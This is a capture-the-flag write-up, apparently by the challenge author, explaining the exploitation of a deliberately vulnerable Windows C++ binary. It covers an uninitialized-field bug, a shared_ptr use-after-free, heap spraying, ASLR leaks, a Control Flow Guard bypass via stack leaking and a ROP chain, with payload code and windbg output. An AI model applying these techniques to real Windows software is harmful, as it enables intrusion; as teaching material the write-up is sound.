- help - prompt <show|hide> - quit narrator [day 1]$ The action happens during calls to move or random_move whenever 2 persons meet. The onEncounter method pointer is called and they interact. Only attack actually has impact on the other Person object: if the attack is successful the other takes damage and possibly dies. Robots can die an infinite number of times but cannot kill humans. Humans only live once and can kill other humans. The next_day feature restores the lives of robots and the health of everyone, but if the object is a dead human, it gets removed from its list. People talk in an automated way using a Markov Chain that is initialized with the full Westworld script and the added sentences, which may incur in fun conversations. Many sentences still don’t quite make sense though, and since the vulnerabilities aren’t in there, I specified it in the description to spare some reversing time (there is already plenty of C++ to reverse…). Vulnerability 1: uninitialized attribute in the Person copy constructor During the Narrator initialization, the map is randomly generated and a specific point is chosen as the “maze center”, special point that when reached under certain conditions, turns a robot into a human. These conditions are that the currently moved Person must be a HOST, have is_conscious set, and there must be a human (GUEST) on the maze center too. First thing is thus to find that point. All randomized data is obtained with rand(), and the seed is initialized with a classic srand(time(NULL)). Therefore the seed can be determined easily by trying a few seconds before and after the local machine time. Once synchronized with the server’s clock, simply replaying the map initialization algorithm in the exploit will finally allow to find the rand() values used to generate the maze center. Coding a simple pathfinding algorithm then allows to walk any person to this position. Robots are initialized with is_conscious = false in the Person::Person constructor. However the Person::Person *copy* constructor used in the narrator’s clone function forgets to do this initialization! The value will thus be uninitialized and use whatever was already on the heap. It turns out that just cloning a robot is often enough to get is_conscious != 0… but let’s make sure it always is. Sometimes the newly cloned robot will end up on the Low Fragmentation Heap, sometimes not. Best is then to make sure it always ends up on the LFH by cloning 0x10 – number of current Person objets = 6. Let’s clone 6+1 times a person and check in windbg: 0:004> ? winworld!Person::Person Matched: 00007ff7`9b9ee700 winworld!Person::Person (<no parameter info>) Matched: 00007ff7`9b9ee880 winworld!Person::Person (<no parameter info>) Ambiguous symbol error at 'winworld!Person::Person' 0:004> bp 00007ff7`9b9ee880 "r rcx ; g" ; bp winworld!Person::printInfos ; g rcx=0000024a826a3850 rcx=0000024a826800c0 rcx=0000024a82674130 rcx=0000024a82674310 rcx=0000024a82673a50 rcx=0000024a82673910 rcx=0000024a82673d70 Breakpoint 1 hit winworld!Person::printInfos: 00007ff7`9b9f0890 4c8bdc mov r11,rsp 0:000> r rcx rcx=0000024a82673d70 0:000> !heap -x 0000024a826800c0 Entry User Heap Segment Size PrevSize Unused Flags ------------------------------------------------------------------------------------------------------------- 0000024a826800b0 0000024a826800c0 0000024a82610000 0000024a82610000 a0 120 10 busy 0:000> !heap -x 0000024a82673d70 Entry User Heap Segment Size PrevSize Unused Flags ------------------------------------------------------------------------------------------------------------- 0000024a82673d60 0000024a82673d70 0000024a82610000 0000024a828dec10 a0 - 10 LFH;busy Here we see that the first 2 clones aren’t on the LFH, while the remaining ones are. The LFH allocations are randomized, which could add some challenge. However these allocations are randomized using an array of size 0x100 with a position that is incremented modulo 0x100, meaning that if we spray 0x100 elements of the right size, we will come back to the same position and thus get a deterministic behavior. We don’t even need to keep the chunks in memory, so we can simply spray using a command string of size 0x90 (same as Person), which will always initialize the is_conscious attribute for the upcoming clone operation. So now our robot becomes human, and the troubles begin! Note: It seems that by default Visual Studio 2015 enables the /sdl compilation flag, which will actually add a memset to fill the newly allocated Person object with zeros, and thus makes it unexploitable. I disabled it 😉 But to be fair, I enabled CFG which isn’t default! Vulnerability 2: misused std::shared_ptr A shared pointer is basically a wrapper around a pointer to an object. It notably adds a reference counter that gets incremented whenever the shared_ptr is associated to a new variable, and decremented when that variable goes out of scope. When the reference counter becomes 0, no more references to the object are supposed to exist anywhere in the program, so it automatically frees it. This is very useful against bugs like Use After Free. It is however still possible to be dumb with these smart pointers… in this challenge, when a robot becomes human, it stays in the robots list (but its is_enable field becomes false so it cannot be used as a robot anymore), and gets inserted into the humans list with the following code: This is very wrong because instead of incrementing the reference counter of the object’s shared_ptr, we instead create a new shared_ptr that points to the same object: When the reference counter of any of the two shared_ptr gets decremented to 0, the object gets freed and since the other shared_ptr is still active, we will get a Use After Free! To do so, we can kill the human-robot using another human. We also have to remove all his friends otherwise the reference counter will not reach 0. Then using the next_day function will free it when it removes the pointer from the guests vector: So now getting RIP should be easy since the object holds a method pointer: spray 0x100 strings of length 0x90 with a fake object – a std::string can also contain null bytes – and then move the dead human-robot left-right so he meets his killer again, and triggers the overwritten onEncounter method pointer: def craft_person(func_ptr, leak_addr, size): payload = struct.pack("<Q", func_ptr) # func pointer payload += "\x00" * 24 # friends std::vector payload += "\x00" * 24 # sentences std::vector # std::string name payload += struct.pack("<Q", leak_addr) payload += "JUNKJUNK" payload += struct.pack("<Q", size) # size payload += struct.pack("<Q", size) # max_size payload += struct.pack("<I", 1) # type = GUEST payload += struct.pack("<I", 1) # sex payload += "\x01" # is_alive payload += "\x01" # is_conscious payload += "\x01" # is_enabled [...] payload = craft_person(func_ptr=0x4242424242424242, leak_addr=0, size=0) for i in range(0x100): sendline(s, payload) sendline(s, "move h7 lr") Result: 0:004> g (1a00.c68): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. ntdll!LdrpValidateUserCallTarget+0xe: 00007ffa`89b164ae 488b14c2 mov rdx,qword ptr [rdx+rax*8] ds:010986ff`08d30908=???????????????? 0:000> ? rax << 9 Evaluate expression: 4774451407313060352 = 42424242`42424200 Control Flow Guard is going to complicate things a bit, but before that we still need to leak one address to defeat ASLR. Leaking the binary base address In the previous code sample we crafted a name std::string of size 0 to prevent the binary from crashing when printing the name. Replacing the pointer and size with valid values will print size bytes at that address, therefore we got our arbitrary read primitive. Now what do we print? There is ASLR everywhere except for the _KUSER_SHARED_DATA at 0x7ffe0000, which doesn’t hold any pointer anymore on Windows 10… Instead of exploiting our UAF with a string we must therefore replace the freed Person object with another object of the same LFH size (0xa0). We don’t have any, but we can check if we could increase the size of one of our vectors instead. Iteratively trying with our std::vector<std::shared_ptr<Person>> friends, we get lucky with 7 to 9 friends: 0:004> g Breakpoint 0 hit winworld!Person::printInfos: 00007ff7`9b9f0890 4c8bdc mov r11,rsp 0:000> dq rcx 000001cf`94daea60 00007ff7`9b9ef700 000001cf`94d949b0 000001cf`94daea70 000001cf`94d94a20 000001cf`94d94a40 000001cf`94daea80 000001cf`94dac6c0 000001cf`94dac760 000001cf`94daea90 000001cf`94dac780 00736572`6f6c6f44 000001cf`94daeaa0 61742074`73657567 00000000`00000007 000001cf`94daeab0 00000000`0000000f 00000002`00000000 000001cf`94daeac0 00000000`20010001 00000000`00000000 000001cf`94daead0 0000003d`00000020 0000000a`00000004 0:000> !heap -x 000001cf`94d949b0 Entry User Heap Segment Size PrevSize Unused Flags ------------------------------------------------------------------------------------------------------------- 000001cf94d949a0 000001cf94d949b0 000001cf94d30000 000001cf94dafb50 a0 - 10 LFH;busy 0:000> dq 000001cf`94d949b0 000001cf`94d949b0 000001cf`94dfb410 000001cf`94d90ce0 000001cf`94d949c0 000001cf`94dac580 000001cf`94d90800 000001cf`94d949d0 000001cf`94d98f90 000001cf`94d911c0 000001cf`94d949e0 000001cf`94d99030 000001cf`94d912e0 # string pointer 000001cf`94d949f0 000001cf`94db4cf0 000001cf`94d91180 # string size 000001cf`94d94a00 000001cf`94db7e60 000001cf`94d912a0 000001cf`94d94a10 000001cf`94e97c70 000001cf`94d91300 000001cf`94d94a20 7320756f`590a2e73 73696874`20776f68 0:000> dps poi(000001cf`94d949b0+8+0n24*2) L3 000001cf`94d912e0 00007ff7`9b9f7158 winworld!std::_Ref_count<Person>::`vftable' 000001cf`94d912e8 00000001`00000005 000001cf`94d912f0 000001cf`94d99030 The vector now belongs to the same LFH bucket as Person objects. If we spray 0xf0 strings followed by 0x10 7-friends vectors we will be able to leak pointers: to a vtable inside winworld and to the heap. We should be able to actually do that with 0xff strings then 1 friends vector, but there appears to be some allocations happening in between sometimes – and I haven’t debugged what caused it. We don’t control the size though, which is huge, so the binary will inevitably crash! Good thing is that on Windows libraries are randomized only once per boot, as opposed to the heap, stack etc. that are randomized for each process. This is dirty, but since this binary is restarted automatically it isn’t a problem, so we have leaked the binary base and we can reuse it in subsequent connections. Protip: when you develop a Windows exploit, don’t put the binary on the share to your Linux host, this has the nice side effect of forcing randomization of the binary base at each execution! Call it a mitigation if you want 🙂 Bypassing Control Flow Guard Control Flow Guard (CFG) is Microsoft’s Control Flow Integrity (CFI) measure, which is based on the simple idea that any indirect call must point to the beginning of a function. A call to __guard_check_icall_fptr is inserted before indirect calls: On Windows 10 this calls ntdll!LdrpValidateUserCallTarget to check that the pointer is a valid function start using its CFGBitmap of allowed addresses, and aborts if not. The advantage of CFG is that it can hardly break a legit program (so, no reason not to use it!). However 3 generic weaknesses are apparent in CFG: - The set of allowed targets is still huge, compared to a CFI mechanism that verifies the type of function arguments and return values - It cannot possibly protect the stack, since return addresses are not function starts. Microsoft will attempt to fix this with Return Flow Guard and future Intel processor support, but this is not enforced yet. - If a loaded module isn’t compiled with CFG support, all the addresses within that modules are set as allowed targets in the CFGBitmap. Problems may also arise with JIT. (here the binary and all DLLs support CFG and there is no JIT) While I was writing this challenge an awesome blog post was published about bypassing CFG, that abuses kernel32!RtlCaptureContext (weakness 1). It turns out that j00ru – only person that solved this task, gg! – used it to leak the stack, but I haven’t, and opted for leaking/writing to the stack manually (weakness 2). We have abused the std::string name attribute for arbitrary read already, now we can also use it to achieve arbitrary write! The only requirement is to replace the string with no more bytes than the max size of the currently crafted std::string object, which is therefore no problem at all. This is cool, however so far we don’t even know where the stack (or even heap) is, and it is randomized on each run of the program as opposed to the libraries. We will come back to this later on. First we also want to leak the addresses of the other libraries that we may want to use in our exploit. Leaking other libraries Using the binary base leak and a spray of 0x100 crafted persons strings we have enough to leak arbitrary memory addresses. We can leave the vectors to null bytes to prevent them from crashing during the call to Person::printInfos. Now that we have the binary base address and that it will stay the same until next reboot, leaking the other libraries is trivial: we can just dump entries in the IAT. My exploit makes use of ucrtbase.dll and ntdll.dll (always in the IAT in the presence of CFG), which can be leaked by crafting a std::string that points to the following addresses: 0:000> dps winworld+162e8 L1 00007ff7`9b9f62e8 00007ffa`86d42360 ucrtbase!strtol 0:000> dps winworld+164c0 L2 00007ff7`9b9f64c0 00007ffa`89b164a0 ntdll!LdrpValidateUserCallTarget 00007ff7`9b9f64c8 00007ffa`89b164f0 ntdll!LdrpDispatchUserCallTarget To repeat the leak we can overwrite the onEncounter method pointer with the address of gets(), once we have located the base address of ucrtbase.dll. This is of course because of the special context of the task that has its standard input/output streams redirected to the client socket. This will trigger a nice gets(this_object) heap overflow that we can use to overwrite the name string attribute in a loop. Leaking the stack Where can we find stack pointers? We can find the PEB pointer from ntdll, however in x64 the PEB structure doesn’t hold any pointer to the TEBs (that contains stack pointers) anymore… A recent blogpost from j00ru described an interesting fact: while there is no good reason to store stack pointers on the heap, there may be some leftover stack data that was inadvertently copied to the heap during process initialization. His post describes it on x86, let’s check if we still have stack pointers lurking on the heap in x64: 0:001> !address [...] BaseAddress EndAddress+1 RegionSize Type State Protect Usage -------------------------------------------------------------------------------------------------------------------------- [...] 3b`b6cfb000 3b`b6d00000 0`00005000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [~0; 2524.1738] [...] 0:001> !heap Heap Address NT/Segment Heap 17c262d0000 NT Heap 17c26120000 NT Heap 0:001> !address 17c262d0000 Usage: Heap Base Address: 0000017c`262d0000 End Address: 0000017c`26332000 [...] 0:001> .for (r $t0 = 17c`262d0000; @$t0 < 17c`26332000; r $t0 = @$t0 + 8) { .if (poi(@$t0) > 3b`b6cfb000 & poi(@$t0) < 3b`b6d00000) { dps $t0 L1 } } 0000017c`262d2d90 0000003b`b6cff174 0000017c`262deb20 0000003b`b6cffbd8 0000017c`262deb30 0000003b`b6cffbc8 0000017c`262deb80 0000003b`b6cffc30 0000017c`2632cf80 0000003b`b6cff5e0 0000017c`2632cfc0 0000003b`b6cff5e0 0000017c`2632d000 0000003b`b6cff5e0 0000017c`2632d1a0 0000003b`b6cff5e0 0000017c`2632d2c0 0000003b`b6cff5e0 0000017c`2632d4e0 0000003b`b6cff5e0 0000017c`2632d600 0000003b`b6cff5e0 0000017c`2632d660 0000003b`b6cff5e0 0000017c`2632d6e0 0000003b`b6cff5e0 0000017c`2632d700 0000003b`b6cff5e0 0:000> dps winworld+1fbd0 L3 00007ff7`9b9ffbd0 0000017c`2632ca80 00007ff7`9b9ffbd8 0000017c`262da050 00007ff7`9b9ffbe0 0000017c`2632cf20 Yes! We indeed still have stack pointers on the default heap, and we can leak an address from that heap at static offsets from our winworld base address. Now we can just browse heap pages and try to find these stack addresses. In my exploit for simplicity I used a simple heuristic that finds QWORDS that are located below the heap but also above 1`00000000, and interactively ask which one to choose as a stack leak. This can obviously be improved. Next step is to dump the stack until we find the targeted return address, craft our std::string to point to that exact address, and use the “update <id> name ropchain” feature to write a ropchain! Mitigation policies & ROP Now that we have both an arbitrary write and the exact address where we can overwrite a saved RIP on the stack, all that is left is build a ROP chain. Several ideas to do it: - VirtualProtect then shellcode - LoadLibrary of a library over SMB - Execute a shell command (WinExec etc.) - Full ROP to read the flag As mentioned earlier the binary has some of the recent mitigation policies, in our context the following ones are relevant: - ProcessDynamicCodePolicy : prevents inserting new executable memory → VirtualProtect will fail - ProcessSignaturePolicy : libraries must be signed → prevents LoadLibrary - ProcessImageLoadPolicy : libraries cannot be loaded from a remote location → prevents LoadLibrary over SMB The two last options are still available. I also wanted to add a call to UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY in the parent AppJailLauncher process – which would prevent winworld from creating new processes – but since it is a console application, spawning winworld also creates a conhost.exe process. Using this mitigation prevents the creation of the conhost.exe process and therefore the application cannot run. My solution reads the flag directly in the ROP chain. Since I didn’t want to go through all the trouble of CreateFile and Windows handles, I instead used the _sopen_s / _read / puts / _flushall functions located in ucrtbase.dll that have classic POSIX-style file descriptors (aka 0x3). Looking for gadgets in ntdll we can find a perfect gadget that pop the first four registers used in the x64 calling convention. Interestingly the gadget turns out to be in CFG itself, which was a scary surprise while single stepping through the rop chain… 0:000> u ntdll+96470 L5 ntdll!LdrpHandleInvalidUserCallTarget+0x70: 00007ffa`89b16470 5a pop rdx 00007ffa`89b16471 59 pop rcx 00007ffa`89b16472 4158 pop r8 00007ffa`89b16474 4159 pop r9 00007ffa`89b16476 c3 ret Putting it all together we finally get the following: Z:\awe\insomnihack\2017\winworld>python sploit.py getflag remote [+] Discovering the PRNG seed... Clock not synced with server... [+] Resynced clock, delay of -21 seconds [+] Found the maze center: (38, 41) [+] Check the map for people positions [+] Make sure that LFH is enabled for bucket of sizeof(Person) 6 / 6 ... [+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious 256 / 256 ... [+] Cloning host, with uninitialized memory this one should have is_conscious... [+] Removing current friends of pwnrobot... [+] Moving a guest to the maze center (37, 86) -> (38, 41)... [+] Moving our host to the maze center (38, 29) -> (38, 41)... [+] pwnrobot should now be a human... kill him! [+] Removing all pwnrobot's friends... 7 / 7 ... [+] Decrement the refcount of pwnrobot's human share_ptr to 0 -> free it [+] Spray 0x100 std::string to trigger UAF 256 / 256 ... [+] heap leak: 0x18a6eae8b40 [+] Leaking stack ptr... [+] Dumping heap @ 0x18a6eae6b40... [+] Dumping heap @ 0x18a6eae7b40... [HEAP] 0x18a6eae7b40 [00] - 0x18a6ea96c72 [01] - 0x18a6ea9c550 [02] - 0x18a6ea9e6e0 Use which qword as stack leak? [+] Dumping heap @ 0x18a6eae8b40... [HEAP] 0x18a6eae8b40 [00] - 0x3ab7faf120 [01] - 0x3ab7faf4f0 [02] - 0x18a6ea9c550 [03] - 0x18a6eae84c0 [04] - 0x18a6eae8560 [05] - 0x18a6eae8760 Use which qword as stack leak? 1 [+] stack @ 0x3ab7faf4f0 [+] Leaking stack content... [-] Haven't found saved RIP on the stack. Increment stack pointer... [-] Haven't found saved RIP on the stack. Increment stack pointer... [-] Haven't found saved RIP on the stack. Increment stack pointer... RIP at offset 0x8 [+] Overwrite stack with ROPchain... [+] Trigger ROP chain... Better not forget to initialize a robot's memory! Flag: INS{I pwn, therefore I am!} [+] Exploit completed. Conclusions You can find the full exploit here. I hope it was useful to those like me that are not so used at to do C++ or Windows exploitation. Again congratulations to Dragon Sector for solving this task, 1h before the CTF end!
https://blog.scrt.ch/tag/windows/
CC-MAIN-2017-09
refinedweb
3,468
60.45
Course12-Colorful marquee Learning goals: This lesson learns to use Python programming to turn the micro:bit robot's water light from left to right. Code: from microbit import * import neopixel display.show(Image.HAPPY) # The water lamp is connected to pin pin16, the number is 3 np = neopixel.NeoPixel(pin16, 3) while True: for pixel_id in range(0, len(np)): np[0] = (255, 0, 0) np.show() sleep(200) np.clear() np[1] = (0, 255, 255) np.show() sleep(200) np.clear() np[2] = (0, 0, 255) np.show() sleep(200) np.clear() np[0] = (255, 255, 0) np.show() sleep(200) np.clear() np[1] = (0, 255, 0) np.show() sleep(200) np.clear() np[2] = (255, 0, 255) np.show() sleep(200) np.clear() import neopixel is means to import the neopixel library function, first let the robot display a smile, then define the pin of the flow lamp as pin16, the number is 3, iterate each LED in the water lights. np[0] = ( 255, 0, 0) means that the first water light is red, and the delay is 200 milliseconds after lighting, clearing the display, lighting the second light, and so on. Programming and downloading: 1.You should open the Mu software, and enter the code in the edit window, , as shown in Figure 12-1. Figure 12-1 2.As shown in Figure 12-2, you need to click the Check button to check if our code has an error. If a line appears with a cursor or an underscore, the program indicating this line is wrong. Figure 12-2 3.You need to connect the micro data cable to micro:bit and the computer, then click the Flash button to download the program to micro:bit as shown in Figure 12-3. Figure 12-3 4. The schematic diagram of the robot's water lamp is shown in Figure 12-4. As you can see, the robot's flow lamp is connected to the micro:bit pin16. Therefore, we set the pin of the flow lamp to pin16 in the program. After downloading the program to micro:bit, you can see a smiley face on the robot's dot matrix and start running the marquee, as shown in Figures 12-5 to 12-7. Figures 12-4 Figures 12-5 Figures 12-6 Figures 12-7 The code of the experiment: 12.Colorful marquee.rar -
https://www.elephantjay.com/blogs/tutorial/53
CC-MAIN-2020-24
refinedweb
401
76.82
Hi! I am new to Julia and wondering about a simple implementation of the julia pmap function. Here is the sample code using Distributed; addprocs(6) #adding workers io = open("myfile.txt", "w"); write(io, "This is a test!\n"); close(io); @everywhere function writing_test(a,b) io = open("myfile.txt", "a"); r=string(a,"\t",b,"\n") write(io,r); close(io); end pmap(writing_test,20:30,220:230) #Calling the Function through pmap for i in workers(); rmprocs(i); end #Removing Workers And here is the output of myfile.txt This is a test! 22 222 24 224 26 226 27 227 28 228 29 229 30 230 20 220 I am wondering why 21 221 combination is missing. Is it random that one of the combination is missing from such implementation?
https://discourse.julialang.org/t/why-pmap-skipping-a-combination-in-the-function-arguments/38152
CC-MAIN-2020-40
refinedweb
134
66.13
I wrote a few ImageJ plugins a decade ago, and at that time it was relatively simple. ImageJ only worked with Java or ImageJ Macro language. But ImageJ is like a hybrid of ImageJ1 and ImageJ2, which are completely different internally, and it accepts scripting in BeanShell, Groovy, ImageJ Macro, JavaScript, Lisp (Clojure), MATLAB, Python, R, Ruby, and Scala, half of which I've never heard of. With that, the way to write and execute the simplest ImageJ Plugin in Java was kind of lost, at least to me. It certainly doesn't exist in the Scripting page.Maybethis is the page, but it's rather difficult to reach and doesn't seem to give you the simplest code example. I've written an article about "Hello world" for ImageJ with Eclipse", but this is way too complicated for a beginner and me. So, here I show you how to write the simplest "Hello World" ImageJ Plugin. 1. File > New > Script... will open a new script document in the Script Editor. 2. In the Script Editor, select Templates > [by Language] > Java > Imagej 1.x > Skeltons > Bare Plugin. 3. You'll see this code. 4. Copy and paste the following code to the file. import ij.plugin.PlugIn; import ij.IJ; /** * This is a template for a plugin that does not require one image * (be it that it does not require any, or that it lets the user * choose more than one image in a dialog). */ public class Bare_PlugIn implements PlugIn { /** * This method gets called by ImageJ / Fiji. * * @param arg can be specified in plugins.config * @see ij.plugin.PlugIn#run(java.lang.String) */ @Override public void run(String arg) { IJ.showMessage("Hello World"); } } import ij.IJ; runmethod of the Bare_PlugInclass, we added a line as below. This is the command you want to execute. IJ.showMessage("Hello World"); 5. After the edit, it should look like this. 6. Save the Bare_Plugin.java to anywhere in your computer by File > Save. Bare_Plugin.jarfile (Java Archive) in the pluginsfolder ( Fiji.app\plugins) by File > Export as .jar. 8. There will be a Java error, but just ignore it. 9. Now you can find the Bare_plugin.jar file in the plugins folder. 11. Go Plugins > Bare Plugin to run the plugin. 12. There you go! You can see the Hello World message showing up. Recommended Posts
https://linuxtut.com/fr/5f9b2114bb3521f50ae4/
CC-MAIN-2022-40
refinedweb
393
69.38
import ceylon.file.internal { storesInternal=stores } "Represents a file system store." shared sealed interface Store { "The total number of bytes that can be held by this store." shared formal Integer totalSpace; "The total number of bytes that are available in this store." see(`value usableSpace`) shared formal Integer availableSpace; "The total number of bytes that may be written to this store by this process, taking into account permissions, etc." see(`value availableSpace`) shared formal Integer usableSpace; "Determine if this store can be written to." shared formal Boolean writable; "The name of this store." shared formal String name; } "The `Store`s representing the stores of the default file system." see(`value defaultSystem`) shared Store[] stores = storesInternal;
https://modules.ceylon-lang.org/repo/1/ceylon/file/1.3.1/module-doc/api/Store.ceylon.html
CC-MAIN-2022-21
refinedweb
115
57.77
How to invoke the bundle osgi service from ejb3?Matthew Cheng Aug 3, 2011 4:11 AM Thougth the 1.0.0 final release shows the feature "OSGi service invocation from EJB3 and Webap" is supported, in which I think the EJB3 is deployed as JBoss AS7 modules not an OSGi bundle, but there is no clear narration in the user guide document. I do find two methods, but they do not work: 1) Create a JNDI entry when the bundle starts, and let the EJB3 invoke it by lookup up it from JNDI ServiceReference sref = context.getServiceReference(InitialContext.class.getName()); InitialContext initCtx = (InitialContext) context.getService(sref); SendDownSrv downImpl = new DownLinkImpl(); initCtx.createSubcontext("OTAMediation").bind("sendDownSrv", downImpl); But the bundle can not start because the system prompts "the InitialContext is read-only". 2) Register an instance of that service with the OSGi service registry. And use a injected bundle context in the EJB3 to invoke it, which is provided by "Thomas Diesler" in the JBoss OSGI Diary. InjectedValue<BundleContext> injectedBundleContext = new InjectedValue<BundleContext>(); BundleContext systemContext = injectedBundleContext.getValue(); ServiceReference sref = systemContext.getServiceReference(SendDownSrv.class.getName()); But there is such exception raised when the line 2 of above codes is reached: java.lang.IllegalStateException at org.jboss.msc.value.InjectedValue.getValue(InjectedValue.java:47) So what is the true method to invoke a osgi service from an EJB3? 1. Re: How to invoke the bundle osgi service from ejb3?David Bosschaert Aug 3, 2011 5:49 AM (in response to Matthew Cheng) Hi Matthew, I'm working on some documentation for this, but until that's ready you can have a look at this integration test that Thomas added recently: It basically shows how you can get a BundleContext injected in your EJB. However, this code didn't make 7.0.0 so to use it you need to build the laster AS7 master. If you need something that works with 7.0.0, let us know. It's possible to do this with 7.0.0 as well, but it requires a little more code. 2. Re: How to invoke the bundle osgi service from ejb3?Matthew Cheng Aug 3, 2011 10:55 PM (in response to David Bosschaert) Hi, David Thanks a lot for your kind reply. I use the similar codes as the link your provided, but it does not work. I note that you metioned the AS7. Acctually I do deploy my EJB3 in AS7, not as a OSGi bundle ejb. So could you please give the codes can be used in AS7? Thanks! The "NullPointerException" exception is raised when the line underlined is reached in my codes below. It seems that the BundleContext has not be injected in the EJB successfully. @Remote(SendUpCommandRemote.class) @Stateless public class SendUpCommandBean implements SendUpCommandRemote { @Resource BundleContext context; .... public void sendDown() { try { ServiceReference sref = context.getServiceReference(SendDownSrv.class.getName()); SendDownSrv sdSrv = (SendDownSrv)context.getService(sref); sdSrv.sendDownGenSMS(123L, "13012345678", 5, "Hello"); } catch (Exception ex) { ex.printStackTrace(); } } 3. Re: How to invoke the bundle osgi service from ejb3?David Bosschaert Aug 4, 2011 3:47 AM (in response to Matthew Cheng) Hi Matthew, Sorry to hear you're getting a NPE. BundleContext injection has been added very recently to the codebase (it's not in 7.0.0 final, only in the latest 7.1.0-SNAPSHOT builds). As an alternative you might want to try the following mechanism, which is a little more verbose, but it does work with 7.0.0.final. Take a look at the WebAppOSGiService project here on github: Although this demo isn't completely finished yet (and needs to be furter documented) you should be able to experiment with it. It contains an OSGi bundle and a Web Application that uses that Bundle (you can probably use a similar mechanism from your EJB). The web app uses an MSC service to get hold of the OSGi BundleContext. See here: The servlet then uses this connector class to invoke on the OSGi service, it calls OSGiServiceConnector.getInvoker().getStockQuote("ACME"); The MSC service (OSGiServiceConnector) needs to be declared by adding a WEB-INF/classes/META-INF/services/org.jboss.msc.service.ServiceActivator file in the .WAR file (see) One other thing that's being done here is that the webapp needs to be able to see the OSGi bundle that contains the interfaces used so that these classes are shared. This is achieved with the dependencies header in MANIFEST.MF: Dependencies: org.osgi.core,org.jboss.modules,org.jboss.logging,deploy ment.osgi-webapp-demo-bundle:7.0.0 To see it all in action, do a mvn install from the root pom at, then deploy the OSGi bundle and Web application in AS7. Once both deployed you can access the webapp at: This mechanism works for me but it clearly would be much easier to use the @BundleContext injection as mentioned earlier. However using this mechanism might keep you going for the moment. Best regards, David 4. Re: How to invoke the bundle osgi service from ejb3?Thomas Diesler Aug 4, 2011 5:42 AM (in response to Matthew Cheng) Have a look at the JBoss AS7 OSGi Presentation + Demo The demo code is available here. there is no clear narration in the user guide document Please monitor JBOSGI-489 for a documentation update 5. Re: How to invoke the bundle osgi service from ejb3?Thomas Diesler Aug 4, 2011 5:57 AM (in response to Matthew Cheng) Despite that @Resource injection is not available in 7.0.0.Final, you can get at the BundleContext from any component that has a wire to an OSGi Bundle. The code is trivial and relies on BundleReference ClassLoader classLoader = SomeClassFromBundle.class.getClassLoader(); Bundle bundle = ((BundleReference) classLoader).getBundle(); BundleContext context = bundle.getBundleContext(); The component must have a Dependency on the Bundle declared in the Manifest 6. Re: How to invoke the bundle osgi service from ejb3?Matthew Cheng Aug 5, 2011 5:00 AM (in response to Thomas Diesler) Hi, Thomas Thanks a lot for your kind reply. The method you provided does work. But as my personal view, it has an obvious pitfall that the EJB should know a concrete class of the bundle. It doest not meet the well-known rule of "program for interface" or as the EJB or OSGi promgram model, it is better to expose the service of a moudule, but not the class. Anyway, I do appreciate the new feature of JBoss AS7 to eliminate the gap between OSGi and JavaEE platform. And thanks a lot for your team's greate effort on the project. 7. Re: How to invoke the bundle osgi service from ejb3?Matthew Cheng Aug 5, 2011 5:08 AM (in response to David Bosschaert) Hi, David It is greate that your method does work. As my understanding, it is based a MSC service. I have only used JBoss 4.2.2 and 5.0.1 in my project, in which there is no such feature. Could you please tell me where can I get the reference for MSC service? Thanks! 8. Re: How to invoke the bundle osgi service from ejb3?David Bosschaert Aug 5, 2011 5:15 AM (in response to Matthew Cheng) Hi Matthew, The version of JBoss MSC shipped with AS7.0.0 is 1.0.0.GA, you can find the javadoc for it here: 9. Re: How to invoke the bundle osgi service from ejb3?Thomas Diesler Aug 5, 2011 5:59 AM (in response to Matthew Cheng) The recommended way to get at the OSGi system bundle context is @Resource BundleContext context; which will be supported with the next AS7 version. The above is a temporary hack/workaround to get around this missing feature. You can of course use an interface too. The only requiremnet for BundleReference to work is that the artefact comes from a Bundle. 10. Re: How to invoke the bundle osgi service from ejb3?Matthew Cheng Aug 9, 2011 4:31 AM (in response to Thomas Diesler) Hi, Thomas Thanks a lot! Your method does work! The EJB just should know a class of the bundle of which the service will be invoked by it. Of cause it can be an interface or a class. I misunderstood it just a class which should has the class declare in last mail. Now I get the answer of my question, there are three methods: 1) As your method, get the bundle service by a trick to get the OSGi system bundle context from the class loader of a bundle class 2) As David's method, get the bundle service by creating a MSC service 3) In the future release of AS7, get the bundle service by geting OSGi system context from the Resource injection. BR Matthew 11. Re: How to invoke the bundle osgi service from ejb3?Maxym Pendyshchuk Apr 3, 2012 3:26 PM (in response to David Bosschaert) Hi David, I have a question: I downloaded your sample application from github (WebAppOSGiService), the question is can I deploy osdi bundle to the bundles folder of jboss7? when I do it, and after adding <capability name="osgi-webapp-demo-bundle" startlevel="1"/> to the standalone.xml I have a warning: 22:17:00,453 WARN [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011922: Cannot resolve capability: osgi-webapp-demo-bundle and application is not deployed. How should I change that application and what configuration do I need to get it deployed that way, bundle to bundles, war to deployment? as I get it is possible, I made a mistake, which I can't find, or misunderstood something.. thank you! 12. Re: How to invoke the bundle osgi service from ejb3?David Bosschaert Apr 10, 2012 8:17 AM (in response to Maxym Pendyshchuk) Hi Maxym, While I haven't tried that WebAppOSGiService in AS 7.1.1 yet, you can automatically deploy bundles using the capability tag as follows. Let's say you have a bundle TestBundle.jar. If you place that bundle in the directory bundles/org/acme/test/main It doesn't matter what the name of the bundle is in that directory. Then, you can pick it up by adding <capability name="org.acme.test" startlevel="1"/> to standalone.xml. Also make sure to set the activation to 'eager', but I think you already have that. Best regards, David 13. Re: How to invoke the bundle osgi service from ejb3?Maxym Pendyshchuk Apr 10, 2012 3:31 PM (in response to David Bosschaert) Hi David! thank you so much! now I see what kind of mistake I did, just followed your advice and it works. I used JBoss 7.1.1, so here everything is ok. Thank you once more!
https://community.jboss.org/thread/170416
CC-MAIN-2014-10
refinedweb
1,794
65.83
